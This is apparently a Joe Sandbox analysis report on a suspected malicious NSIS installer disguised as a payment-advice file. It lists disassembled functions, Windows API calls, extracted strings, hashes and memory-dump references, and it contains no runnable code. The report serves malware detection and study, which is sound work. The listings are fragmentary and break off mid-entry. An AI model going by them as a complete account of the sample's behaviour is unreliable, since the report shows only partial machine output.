Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1341f91fd8d518b2ca140e0133bcf02bd0ea54a7f691716fe820626e10176459
Instruction ID: 4ebe2cb43181949e29f1e9fb79ae388d5d3e17bd3db4e8cfc4c1202d027f6d8e
Opcode Fuzzy Hash: 1341f91fd8d518b2ca140e0133bcf02bd0ea54a7f691716fe820626e10176459
Instruction Fuzzy Hash: FB116A32500108FBDF02AB90CE49FEE7B7DAF44340F110076B905B51E1E7B59E21AB58

Function 00402E79 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403059,00000001,?,00000006,?,0000000A), ref: 00402E8C
GetTickCount.KERNEL32 ref: 00402EAA
CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402EC7
ShowWindow.USER32(00000000,00000005,?,00000006,?,0000000A), ref: 00402ED5

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction ID: b514363a92e965461d88eaa206c20d0702a544c8e4880045d1c7c79aac8a479e
Opcode Fuzzy Hash: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction Fuzzy Hash: 3AF05E30966A21EBC6606B24FE8CA8B7B64FB44B01711887BF001B11B4DA7C4892CBDC

Function 00405C74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,?,0000000A), ref: 004062A4

Part of subcall function 00405C17: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C42

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405CCD
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00405CDD

Strings

C:\Users\user\AppData\Local\Temp\nsj38E6.tmp, xrefs: 00405C7A, 00405C7F, 00405C85, 00405CC6, 00405CCC, 00405CD4, 00405CDC

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsj38E6.tmp
API String ID: 3248276644-1881265558
Opcode ID: f876970076993f733f9246bd8c2efe22564afd40dcf2357ec22258bdd39e6079
Instruction ID: 850bfc7ffc9f89e8bebb6f59b63454ed566b5c4d810398842941662e03732b0e
Opcode Fuzzy Hash: f876970076993f733f9246bd8c2efe22564afd40dcf2357ec22258bdd39e6079
Instruction Fuzzy Hash: 82F0D625019F5216F622363A4D09AAF1954CE82364B0A013FF891722C1DB3C8942DD6E

Function 00406165 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,007A0F00,00000000,?,?,Call,?,?,004063D9,80000002), ref: 004061AB
RegCloseKey.ADVAPI32(?,?,004063D9,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,007A0F00), ref: 004061B6

Strings

Call, xrefs: 0040616C

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: e86e6fd2e5cb5672620ff5ab575da48d8fe54f653cf1da9627cee5843be69ab4
Instruction ID: f8c60df0673843c4a96ed35a73ceba2ba355a7ad566f59c539dda5576aee505e
Opcode Fuzzy Hash: e86e6fd2e5cb5672620ff5ab575da48d8fe54f653cf1da9627cee5843be69ab4
Instruction Fuzzy Hash: B301BC72500219EADF21CF50CC09EDB3BA8EB04360F01803AFD16A6191E778D964CBA4

Function 00405880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,Error launching installer), ref: 004058A9
CloseHandle.KERNEL32(?), ref: 004058B6

Strings

Error launching installer, xrefs: 00405893

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction ID: b039bfc1fd8153a77b97507ee8e8b42fe9752dbefc529c56e43fdfa491991b30
Opcode Fuzzy Hash: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction Fuzzy Hash: 6CE0B6F5600209BFFB00AF64ED09E7B7BACEB58605F058525BD51F2290D6B998148A78

Function 004038F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF3420,004038CA,004036E0,00000006,?,00000006,?,0000000A), ref: 0040390C
GlobalFree.KERNEL32(008CCE98), ref: 00403913

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403904

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction ID: 827a6d7c30b52d61f5a2dbff04e35f254d4b7381da6d9dc608e34789494937b8
Opcode Fuzzy Hash: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction Fuzzy Hash: 58E0CD334010205BC6115F04FE0475A77685F45B22F16003BFC807717147B41C538BC8

Function 00405BB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003,?,00000006,?,0000000A), ref: 00405BBE
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003,?,00000006,?,0000000A), ref: 00405BCE

Strings

C:\Users\user\Desktop, xrefs: 00405BB8

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: d1e11866c06308db2688671cfe2e39cf8e5f3b64411c1caee3e249c785e2e979
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: BDD05EB34109209AC3126B08DC00D9F77BCEF11301746486AF440A6161D7786C8186AD

Function 734010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?), ref: 7340116A
GlobalFree.KERNEL32(00000000), ref: 734011C7
GlobalFree.KERNEL32(00000000), ref: 734011D9
GlobalFree.KERNEL32(?), ref: 73401203

Memory Dump Source

Source File: 00000000.00000002.1922689221.0000000073401000.00000020.00000001.01000000.00000004.sdmp, Offset: 73400000, based on PE: true

Associated: 00000000.00000002.1922572339.0000000073400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922818095.0000000073403000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922990212.0000000073405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 69fea0a936fbba92fd8495ef293891c0d34bac37840c262dde599808a571ff2f
Instruction ID: 6436a8a1ee8645e7960b6947da31617d01e0cb080cefce41b404ed915ca0cab2
Opcode Fuzzy Hash: 69fea0a936fbba92fd8495ef293891c0d34bac37840c262dde599808a571ff2f
Instruction Fuzzy Hash: 13316DBAB002119FE30C9FA6DA45B2577F8EB49214B1405BAE94AFB354F734D8018B69

Function 00405CF2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D02
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D1A
CharNextA.USER32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D2B
lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D34

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: 076f441daad098c1e87a0755c7bbd60db18a276d6ce73f7d9d897af98e652dc6
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: E5F0F631204918FFC7129FA4DD0499FBBB8EF06354B2580BAE840FB211D674DE01AFA8

Analysis Process: PayeeAdvice_HK54912_R0038704_37504.exePID: 6104, Parent PID: 7156COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	96.6%
Signature Coverage:	6%
Total number of Nodes:	116
Total number of Limit Nodes:	11

Executed Functions

Function 02EF2F4B Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 113
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32 ref: 02EF2FA5

Strings

_, xrefs: 02EF3082
yKcf, xrefs: 02EF2FE1
XKG, xrefs: 02EF2F5D
wo, xrefs: 02EF3268
)Ysk, xrefs: 02EF2F7E

Memory Dump Source

Source File: 00000002.00000002.4177532134.0000000002EDB000.00000040.00000400.00020000.00000000.sdmp, Offset: 02EDB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2edb000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: TerminateThread
String ID: )Ysk$XKG$_$wo$yKcf
API String ID: 1852365436-3960104451
Opcode ID: 82ddb699cbfcd85ab9d1bd1d390d3d2d094235408b97693bcc3a2f7eb0165968
Instruction ID: a6f32fce4b3b0684fc555d6fb391f96df02a5d723285ecddbc67e74d6b053765
Opcode Fuzzy Hash: 82ddb699cbfcd85ab9d1bd1d390d3d2d094235408b97693bcc3a2f7eb0165968
Instruction Fuzzy Hash: B341F5301087DADADB759E38CC953EA3BE2AF023A0F458269CDD68A4D6D7354681CB06

Function 001169B0 Relevance: 8.4, Strings: 6, Instructions: 902COMMON

Download Yara Rule

Strings

Hbq, xrefs: 00116DA6
,bq, xrefs: 0011728A
(o^q, xrefs: 00116EDA
(o^q, xrefs: 00117220
(o^q, xrefs: 00117212
,bq, xrefs: 00117298

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq$Hbq
API String ID: 0-56095411
Opcode ID: 7478a6cc307248be2680883711c6cc0ed26e04bd65b5eb7eb582d67785f184f6
Instruction ID: fc5ec430ca4553fd56ccc1d3aaf833458af89219ca3f47c6f65c653e4eed2ef5
Opcode Fuzzy Hash: 7478a6cc307248be2680883711c6cc0ed26e04bd65b5eb7eb582d67785f184f6
Instruction Fuzzy Hash: DD726270A042199FCB19DF69C894AEEBBF2BF88300F158569E455EB3A1DB31DD81CB50

Function 0011C468 Relevance: 6.5, Strings: 5, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 0011C65D
LjAp, xrefs: 0011C647
PH^q, xrefs: 0011C6D0
PH^q, xrefs: 0011C6BF
0oAp, xrefs: 0011C4DA

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: e74083e4a495d1521c31ffa9bc742a987a213ddbf42644b5f4d6437278a9c3a0
Instruction ID: eeb15743ad6548de9e964fa6a5a6a4c739211f1ee237cb373cc8da29cc85ff4b
Opcode Fuzzy Hash: e74083e4a495d1521c31ffa9bc742a987a213ddbf42644b5f4d6437278a9c3a0
Instruction Fuzzy Hash: 0891E574E04258CFDB18DFAAD884ADDBBF2BF89300F149169E419AB365DB349981CF50

Function 0011C19B Relevance: 6.4, Strings: 5, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 0011C377
PH^q, xrefs: 0011C3EF
0oAp, xrefs: 0011C20A
LjAp, xrefs: 0011C38D
PH^q, xrefs: 0011C400

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: df4005eca7c4abe3e68daf9adec9b95869ce0fd56592542871e6bb9dd7cf7ff1
Instruction ID: b396f5edd84078f7e6c265e7eca1fd748f20458f04547ea28dd954d81846f24b
Opcode Fuzzy Hash: df4005eca7c4abe3e68daf9adec9b95869ce0fd56592542871e6bb9dd7cf7ff1
Instruction Fuzzy Hash: DF91A274E40218DFDB18DFAAD984ADDBBF2BF89300F14D069E418AB265DB349985CF50

Function 00115362 Relevance: 6.4, Strings: 5, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 00115566
LjAp, xrefs: 00115550
0oAp, xrefs: 001153E2
PH^q, xrefs: 001155C8
PH^q, xrefs: 001155D9

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: ff75d493f51962155099f31130a9c5621f98104143540df068c20c4172bbabf5
Instruction ID: 32e56af4dc398ce0b493bb3782e7c18e816c03911b59c48b23f58cbb7b85fcca
Opcode Fuzzy Hash: ff75d493f51962155099f31130a9c5621f98104143540df068c20c4172bbabf5
Instruction Fuzzy Hash: 4091D674E00658DFDB18CFA9D984ADDBBF2BF89300F148069E409AB365DB349985CF50

Function 0011CA08 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0011CC5F
PH^q, xrefs: 0011CC70
LjAp, xrefs: 0011CBE7
0oAp, xrefs: 0011CA7A
LjAp, xrefs: 0011CBFD

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: bc0228666ac026e7345cf6c4ab5905cfbefced89e737af1f744949576aa48184
Instruction ID: e461f1334581716be73188fcb49a3c596845d6654c91f3f78f967723b9dc63c9
Opcode Fuzzy Hash: bc0228666ac026e7345cf6c4ab5905cfbefced89e737af1f744949576aa48184
